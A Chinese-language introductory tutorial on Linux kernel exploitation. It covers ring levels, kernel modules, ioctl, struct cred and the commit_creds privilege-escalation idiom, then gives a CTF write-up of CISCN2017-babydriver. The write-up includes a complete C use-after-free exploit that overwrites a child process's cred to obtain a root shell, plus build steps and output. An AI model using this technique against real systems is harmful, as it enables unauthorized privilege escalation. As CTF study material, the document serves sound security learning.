Linux Kernel Pwn 入门
kernel 也是一个程序，用来管理软件发出的数据 I/O 要求，将这些要求转义为指令，交给 CPU 和计算机中的其他组件处理，kernel 是现代操作系统最基本的部分。这里主要是搬运参考链接中师傅们所总结的内容，同时记录下自己学习和复现的过程。
基础知识
Ring Model
intel CPU 将 CPU 的特权级别分为 4 个级别：Ring 0, Ring 1, Ring 2, Ring 3。
Ring0 只给 OS 使用，Ring 3 所有程序都可以使用，内层 Ring 可以随便使用外层 Ring 的资源。
Loadable Kernel Modules(LKMs)
可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序，包括:
-
驱动程序（Device drivers）
- 设备驱动
- 文件系统驱动
- ...
-
内核扩展模块 (modules)
LKMs 的文件格式和用户态的可执行程序相同，Linux 下为 ELF，Windows 下为 exe/dll，mac 下为 MACH-O，因此我们可以用 IDA 等工具来分析内核模块。
模块可以被单独编译，但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行，这与运行在用户控件的进程不同。
模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。
Linux 内核之所以提供模块机制，是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高，因为所有的内容都集合在一起，但缺点是可扩展性和可维护性相对较差，模块机制就是为了弥补这一缺陷。
相关指令
- insmod: 将指定模块加载到内核中
- rmmod: 从内核中卸载指定模块
- lsmod: 列出已经加载的模块
系统调用
系统调用，指的是用户空间的程序向操作系统内核请求需要更高权限的服务，比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口，部分库函数（如 scanf，puts 等 IO 相关的函数实际上是对系统调用的封装 （read 和 write)）。
在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 和 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。
同时推荐一个很好用的网站 Linux Syscall Reference，可以查阅 32 位系统调用对应的寄存器含义以及源码。欢迎师傅们推荐 64 位类似功能的网站。
ioctl
可以看出 ioctl 也是一个系统调用，用于与设备通信。int ioctl(int fd, unsigned long request, ...) 的第一个参数为打开设备 (open) 返回的 文件描述符，第二个参数为用户程序对设备的控制命令，再后边的参数则是一些补充参数，与设备有关。
使用 ioctl 进行通信的原因：
操作系统提供了内核访问标准外部设备的系统调用，因为大多数硬件设备只能够在内核空间内直接寻址, 但是当访问非标准硬件设备这些系统调用显得不合适, 有时候用户模式可能需要直接访问设备。
比如，一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持，有一些设备可能没有被内核设计者考虑到，如此一来提供一个这样的系统调用来使用设备就变得不可能了。
为了解决这个问题，内核被设计成可扩展的，可以加入一个称为设备驱动的模块，驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个 Ioctl 接口是一个独立的系统调用，通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的 Ioctl 调用，如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节，同时也不需要一大堆针对不同设备的系统调用。
进程权限信息记录 struct cred
kernel 记录了进程的权限，更具体的，是用 cred 结构体记录的，每个进程中都有一个 cred 结构，这个结构保存了该进程的权限等信息（uid，gid 等），如果能修改某个进程的 cred，那么也就修改了这个进程的权限。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
内核态函数
相比用户态库函数，内核态的函数有了一些变化
printf() -> printk()，但需要注意的是 printk() 不一定会把内容显示到终端上，但一定在内核缓冲区里，可以通过
dmesg查看效果-
memcpy() ->copy_from_user()/copy_to_user()
- copy_from_user() 实现了将用户空间的数据传送到内核空间
- copy_to_user() 实现了将内核空间的数据传送到用户空间
malloc() -> kmalloc()，内核态的内存分配函数，和 malloc() 相似，但使用的是
slab/slub 分配器free() -> kfree()，同 kmalloc()
另外要注意的是，kernel 管理进程，因此 kernel 也记录了进程的权限。kernel 中有两个可以方便的改变权限的函数：
- int commit_creds(struct cred *new)
- struct cred prepare_kernel_cred(struct task_struct daemon)
从函数名也可以看出，执行 commit_creds(prepare_kernel_cred(0)) 即可获得 root 权限（root 的 uid，gid 均为 0）。 执行 commit_creds(prepare_kernel_cred(0)) 也是最常用的提权手段，两个函数的地址都可以在 /proc/kallsyms 中查看（较老的内核版本中是 /proc/ksyms。
例题
CISCN2017-babydriver
思路
- 这个题目解题思路还是比较简单的，由于给的ko文件没有安全防护且没有去除符号。
- 经过分析，发现存在UAF漏洞，（具体分析过程可以参照参考链接）
- 因此我们只需要申请和cred同样大小的空间，free掉后fork一个进程，这个进程所使用的cred结构体会使用同样的上述空间。
- 利用UAF漏洞，我们能够修改cred的进程权限信息，获取到root的权限。
调试的时候遇到的坑：
在ubuntu18下cpio解压失败，最后在mac的物理机解压成功
启动的时候提示:
nevv@ubuntu:~/Kernel/CISCN2017-babydriver$ ./boot.sh
Could not access KVM kernel module: No such file or directory
qemu-system-x86_64: failed to initialize KVM: No such file or directory
解决方法：虚拟机关机后在虚拟机高级设置里打开关于cpu虚拟化的选项
exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
静态编译exp:
gcc exploit.c -static -o exploit
将编译好的文件重新打包放到tmp目录下并重新打包
find . | cpio -o --format=newc > rootfs.cpio
运行:
./boot.sh
结果：
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
参考链接：
